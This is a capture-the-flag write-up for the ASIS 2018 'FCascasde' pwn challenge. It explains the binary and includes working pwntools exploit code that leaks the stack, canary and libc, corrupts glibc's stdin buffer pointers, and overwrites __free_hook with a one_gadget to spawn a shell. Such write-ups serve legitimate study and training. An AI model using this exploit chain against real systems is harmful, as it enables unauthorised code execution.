ASIS CTF Quals 2018 - FCascasde
Stream as silk FCascasde.
nc 178.62.40.102 6002
Attachment: fstream xpl.py libc-2.23.so
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
Guru 3xp1oit
>
The binary greets us with a prompt, and seems to not really react to any input…
void interaction(char *buf)
{
while ( 1 )
{
write(1, "> ", 2);
read(0, buf, 0x128);
if ( strncmp(buf, "11010110", 8) || chk )
{
if ( !strncmp(buf, "10110101", 8) )
ccloud();
}
else
{
chk = 1;
leak(buf);
}
}
}
Ok, makes more sense now.
If we enter 11010110
it will enter the leak
function. On 10110101
it will enter ccloud
.
Leaks are always good, so let’s check this first :)
int leak(char *buf)
{
while ( 1 )
{
write(1, "> ", 2);
read(0, buf, 0x128);
if (!strncmp(buf, "11111111", 8)
break;
write(1, buf, strlen(buf));
}
return result;
}
This will loop until we enter 11111111
and always read 0x128
bytes into buf
and print it.
buf
was initiaized in main
with
memset(buf, 0, 0x80);
so there still might be some interesting addresses in it.
gdb-peda$ x/100gx 0x7fffffffe330
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000000000000000 0x0000000000000000
0x7fffffffe350: 0x0000000000000000 0x0000000000000000
0x7fffffffe360: 0x0000000000000000 0x0000000000000000
0x7fffffffe370: 0x0000000000000000 0x0000000000000000
0x7fffffffe380: 0x0000000000000000 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x00007fffffffe4a0 0x16e737e352d4a200 <= Stack / Canary
0x7fffffffe3c0: 0x0000000000400c60 0x00007ffff7a303f1 <= libc
0x7fffffffe3d0: 0x0000000000040000 0x00007fffffffe4a8
0x7fffffffe3e0: 0x00000001f7b9a508 0x0000000000400be0
0x7fffffffe3f0: 0x0000000000000000 0x06458dbbc060c4d5
0x7fffffffe400: 0x00000000004008a0 0x00007fffffffe4a0
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0xf9ba72c41f00c4d5 0xf9ba627ddff2c4d5
0x7fffffffe430: 0x0000000000000000 0x0000000000000000
0x7fffffffe440: 0x0000000000000000 0x00007fffffffe4b8
0x7fffffffe450: 0x00007ffff7ffe168 0x00007ffff7de7adb
We can leak all those addresses by aligning buf next to them
def do_leaks():
log.info("Leak addresses")
r.recvuntil("> ")
r.send("A"*0x80)
r.recv(0x80)
STACKLEAK = u64(r.recv(6).ljust(8, "\x00"))
r.recvuntil("> ")
r.send("A"*0x89)
r.recv(0x88)
CANARY = u64(r.recv(6).ljust(8, "\x00"))- 0x41
r.recvuntil("> ")
r.send("A"*0x98)
r.recv(0x98)
LIBCLEAK = u64(r.recv(6).ljust(8, "\x00"))
r.recvuntil("> ")
return STACKLEAK, CANARY, LIBCLEAK
def exploit(r):
r.recvuntil("> ")
r.sendline("11010110") # enter leak
STACKLEAK, CANARY, LIBCLEAK = do_leaks()
libc.address = LIBCLEAK - libc.symbols["__libc_start_main"] - 0xf0
log.info("STACK leak : %s" % hex(STACKLEAK))
log.info("CANARY : %s" % hex(CANARY))
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
We can just grab the libc
from the cat
challenge, most probably the same (and yes, it is).
We’ll then leave the leak
block and enter the ccloud
block
r.sendline("11111111")
r.recvuntil("> ")
r.sendline("10110101")
r.recvuntil("> ")
void ccloud()
{
size_t size;
char *buf;
for ( buf = 0LL; ; free(buf) )
{
write(1, "> ", 2);
_isoc99_scanf("%lu", &size);
getchar();
buf = malloc(size);
write(1, "> ", 2);
read(0, buf, size);
buf[size-1] = 0;
}
}
Hmmm, everything seems fine. Allocating a buffer, reading to it and putting a null terminator at the end of the string. And then the binary will directly free the buffer again.
What can we do with this? Well, at first, not much…
As long, as we serve malloc
valid sizes, everything will just run fine. But what will happen, if we enter an invalid size?
malloc
will fail and return 0x0
.
buf[size-1] = 0;
is equivalent to
*((byte*)buf + size - 1) = 0;
If we enter something like 0
as size, this will segfault, because it won’t be able to dereference 0x0
and thus crash.
But what happens, if we pass a size of -0xffff80000822e6e7
? malloc
will also fail…
But 0 + (-0xffff80000822e6e7) - 1
evaluates to 0x7ffff7dd1918
, thus writing a NULL byte to 0x7ffff7dd1918
.
We can abuse this to write a NULL byte to an arbitrary address. Just where… Where can a single NULL byte do any good?
gdb-peda$ x/30gx 0x7ffff7dd1918-0x38
0x7ffff7dd18e0: 0x00000000fbad208b 0x00007ffff7dd1964
0x7ffff7dd18f0: 0x00007ffff7dd1964 0x00007ffff7dd1963
0x7ffff7dd1900: 0x00007ffff7dd1963 0x00007ffff7dd1963 <= _IO_write_base / _IO_write_ptr
0x7ffff7dd1910: 0x00007ffff7dd1963 0x00007ffff7dd1963 <= _IO_write_end / _IO_buf_base
0x7ffff7dd1920: 0x00007ffff7dd1964 0x0000000000000000 <= _IO_buf_end
0x7ffff7dd1930: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960: 0x000000000a000000 0x00007ffff7dd3790
This little snippet happens to be stdin
. _IO_buf_base
and _IO_buf_end
will be used by scanf
to store its input to.
If we’d overwrite the LSB of _IO_buf_base
with a 0x0
it would now point to _IO_write_base
(0x7ffff7dd1900
).
Thus, everything we would now pass to scanf, would overwrite the data at 0x7ffff7dd1900
with which we could write arbitrary pointers to _IO_buf_base
and _IO_buf_end
, which enables us to write data to an arbitrary address :)
Let’s prepare this
log.info("Overwrite stdin buf LSB with 0x0")
r.sendline(str(-(0x10000000000000000- (libc.address + 0x3c4919))))
This overwrites the LSB of _IO_write_base
.
log.info("Move stdin buffers near free_hook")
payload = p64(libc.address + 0x3c67a8) + p64(libc.address + 0x3c67a8)
payload += p64(libc.address + 0x3c67a8) + p64(libc.address + 0x3c67a8)
payload += p64(libc.address + 0x3c68d8) + p64(0x0)
r.sendline(payload)
With this payload we’ll now overwrite _IO_buf_base
with an address near free_hook
, which enables us in the next write to overwrite free_hook
itself.
# send junk to get again to scanf
r.sendline("AAAAAAAAAAAAAAAAAAAAAAA")
log.info("Overwrite free_hook with one_gadget and trigger shell")
payload = "\x00"*168
payload += p64(libc.address + 0x4526a) # one_gadget
r.sendline(payload)
r.interactive()
Since the loop in ccloud
will now immediately free
our buffer, it will trigger the one_gadget
, we just put into free_hook
, resulting in a shell :)
$ python xpl.py 1
[*] '/home/kileak/fcascade/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 178.62.40.102 on port 6002: Done
[*] Leak addresses
[*] STACK leak : 0x7ffc2081f5a0
[*] CANARY : 0xfb7ed9d8b200
[*] LIBC leak : 0x7f130b59e830
[*] LIBC : 0x7f130b57e000
[*] Enter ccloud
[*] Overwrite stdin buf LSB with 0x0
[*] Paused (press any to continue)
[*] Move stdin buffers near free_hook
[*] Paused (press any to continue)
[*] Overwrite free_hook with one_gadget and trigger shell
[*] Switching to interactive mode
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
...
> $ cat /home/pwn/flag
ASIS{1b706201df43717ba2b6a7c41191ec1205fc908d}